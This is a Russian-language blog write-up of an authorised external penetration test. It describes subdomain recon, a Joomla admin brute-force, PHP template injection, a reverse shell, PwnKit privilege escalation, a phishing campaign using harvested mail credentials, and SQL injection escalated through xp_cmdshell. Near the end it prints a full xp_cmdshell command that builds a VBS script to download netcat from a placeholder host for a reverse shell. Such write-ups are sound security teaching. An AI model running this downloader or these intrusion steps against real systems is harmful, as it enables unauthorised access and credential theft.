Привет, Хабр! В этой статье я хочу поделиться опытом проведения внешнего black-box пентеста и разобрать методологию, которая позволяет находить критические уязвимости даже при минимальном входном скоупе. Статья будет разбита на две части, про внешний расскажу я, а про внутренний расскажет мой коллега.

Black-box подразумевает, что у пентестера нет никакой внутренней информации: ни списков IP, ни учётных данных, ни описания архитектуры. Только доменное имя - и вперёд. Звучит как ограничение, но на практике это зачастую преимущество: вы смотрите на инфраструктуру глазами реального злоумышленника.

Целью данного пентеста является проверка возможности компрометации внутренней инфраструктуры через веб-приложения.

1. Разведка

Первый этап любого пентеста - сбор информации о целевом домене. Здесь работает простое правило: чем больше сабдоменов найдено, тем лучше.

Для пассивного сбора информации использовались следующие инструменты:

• sublist3r

• dnsrecon

• VirusTotal

• crt.sh

В результате было найдено около 40 уникальных сабдоменов, что существуенно расширило поверхность атаки.

Интересный момент: важно понимать, что разные инструменты дают разные результаты. sublist3r и VirusTotal покрывают публичные индексы, тогда как crt.sh анализирует прозрачные логи сертификатов (Certificate Transparency logs). На практике именно crt.sh часто выдаёт сабдомены, которые не индексируются классическими сканерами - тестовые стенды, внутренние сервисы, временные домены для интеграций.

Анализ логики приложений

Разведка - это не только про сбор сабдоменов, но и анализ поведения приложений.

Важно понимать:

• кто целевая аудитория

• какой упор сделан на UX

• чем могли пожертвовать в угоду удобства пользования

Был найден домен, который являлся некой системой дистанционного обучения с явными признаками на аудиторию с низким уровнем технической подготовки:

• упрощенный интерфейс

• огромные кнопки

• режимы для слабовидящих

• множество всплывающих подсказок

Все это указывало на то, что разработчики могли пожертвовать безопасностью ради доступности. И действительно, на сайте был гостевой доступ, который открыл IDOR уязвимость, позволяющую извлекать учетные данные, а также удалось вытащить данные от бд.

2. Домен, который открыл все

Среди найденных сабдоменов внимание привлек test-домен.ru. Это был домен заглушка, но при его анализе удалось выяснить, что используется CMS Joomla.

Форма авторизации не работала, кнопки тоже, но перебравшись на страницу авторизации админки Jooml'ы, обнаружил, что она доступна. Попытка brute-force авторизации неожиданно оказалась успешной — доступ в админку был получен за считанные секунды.

Интерфейс отображался некорректно, но бэкенд работал. Это позволило получить доступ к компонентам и изменить шаблон сайта.

В шаблон сайта был внедрен PHP-код, что дало RCE.

С таким примитивным шеллом работать не очень хочется, поэтому был создан reverse shell на VDS сервер.

Исследование сервера

При анализе сервера удалось установить:

• сервер является хостингом

• на нем размещено ~20 сайтов

• часть из них - дочерние компании (они вне scope)

Доступ был ограничен пользователем www-data, поэтому потребовалась эскалация привилегий. Используя linpeas, был найден и успешно проэксплуатирован pwnkit CVE-2021-4034, что позволило получить root доступ.

После этого был создан привилегированный пользователь и мы начали изучать конфигурационные файлы.

Однако сервер хостился на VDS, и прямого доступа во внутреннюю сеть не было. А значит из этого сервера нужно выжимать все.

3. Фишинг

Для дальнейшего продвижения была согласована фишинговая атака. К этому моменту был получен доступ ко всем базам данных сайтов, а значит я мог создавать административные учетные записи на сайтах.

В одном из конфигов были найдены учетные данные администратора почты (Roundcube).

Это дало доступ к корпоративной почте и возможность сбрасывать пароли на сайтах, которые находились на других серверах, что позволяло расширить поверхность атаки.

Реализация атаки

На одном из корпоративных сайтов была размещена фишинговая форма авторизации, логирующая вводимые данные.

Для пользователей все выглядело легитимно. Легитимный сайт, легитимный интерфейс, доверенный отправитель с которым они общаются каждый день.

После рассылки были получены учетные данные сотрудников.

4. Почему обучение сотрудников не работает

Фишинг остаётся одним из самых эффективных векторов не потому, что сотрудники глупы, а потому что атаки хорошо подготовлены. Хорошо описано в этой статье.

Многие компании ограничиваются формальным обучением, что не даёт результата.

Принципы эффективного антифишингового обучения:

• Регулярные имитированные атаки — не разовые рассылки, а системная работа

• Реалистичные сценарии — письма от HR, IT-департамента, руководства; ссылки на внутренние порталы

• Немедленная обратная связь — если сотрудник кликнул, он сразу получает обучающий материал, а не отчитывание

• Геймификация — рейтинги, сертификаты, конкурсы между подразделениями

5. SQL-инъекция, которая изменила все

На одном из сабдоменов была обнаружена SQLi time-based.

Я обнаружил ее еще в первый день, но никакой практической пользы она не давала. Однако повторный анализ выявил, что есть второй параметр который уязвим. Комбинирование параметров позволило применить технику HTTP Parameter Fragmentation и добиться UNION-инъекции.

Дальнейшее изучение бд показало, что запросы мы отправляем под привилегированным пользователем.

Microsoft SQL Server 2005, очень старая и это наталкивает на мысль, что есть шанс работы xp_cmdshell.
Я проверил наличие этой процедуры и да, она была включена. Я сразу ринулся проверять возможность выполнения команд, whoami, dir и.т.д. Но в ответ пусто. Я создавал шеллы и запускал их, но никакой реакции я не встретил, постоянно NULL на любую команду.

Пришла идея проверить сам факт выполнения команд. На VDS был запущен tcpdump и оказалось - команды действительно выполняются.

Эксплуатация

xp_cmdshell - расширенная хранимая процедура, позволяющая выполнять команды ОС. На старых версиях (MSSQL 2005) она часто включена по умолчанию.

Проблема legacy-окружения:

• MSSQL 2005 x86 работает только на Windows Server 2003 / 2003 R2

• Нет PowerShell, урезанный cmd, отсутствуют curl/wget/certutil

• Единственный надёжный вектор доставки полезной нагрузки - VBS-скрипты

Через VBS-скрипт был загружен NetCat.

EXEC xp_cmdshell 'echo Set objXML = CreateObject("MSXML2.XMLHTTP") > download.vbs && echo objXML.Open "GET", "http://IP:4444/nc.exe", False >> download.vbs && echo objXML.Send >> download.vbs && echo If objXML.Status = 200 Then >> download.vbs && echo Set objStream = CreateObject("ADODB.Stream") >> download.vbs && echo objStream.Open >> download.vbs && echo objStream.Type = 1 >> download.vbs && echo objStream.Write objXML.ResponseBody >> download.vbs && echo objStream.SaveToFile "nc.exe", 2 >> download.vbs && echo objStream.Close >> download.vbs && echo End If >> download.vbs'

Далее получаем обратную оболочку.

А дальше классика:

• Создание пользователя

• Внесение его в нужные нам группы

  

Далее пробрасываем порты и подключаемся по RDP.

Цепочка атаки

Recon → Subdomains → Joomla brute-force → RCE → root → configs → mail access → phishing → creds → SQLi → xp_cmdshell → reverse shell → RDP → domain compromise

Ключевые ошибки

• отсутствие ограничений на авторизацию

• хранение учетных данных в конфигурационных файлах

• устаревшее ПО (MSSQL 2005)

• включённый xp_cmdshell

• недостаточная сегментация сети

• доступ к почте через веб-интерфейс

Статья была разбита на две части. Про внутренний пентест расскажет мой коллега @CyberB.

Это был интересный пентест. Было найдено много различных уязвимостей, но рассказал вам о самых интересных. Все вульны переданы заказчику, как и рекомендации, все закрыли все починили. Всем спасибо.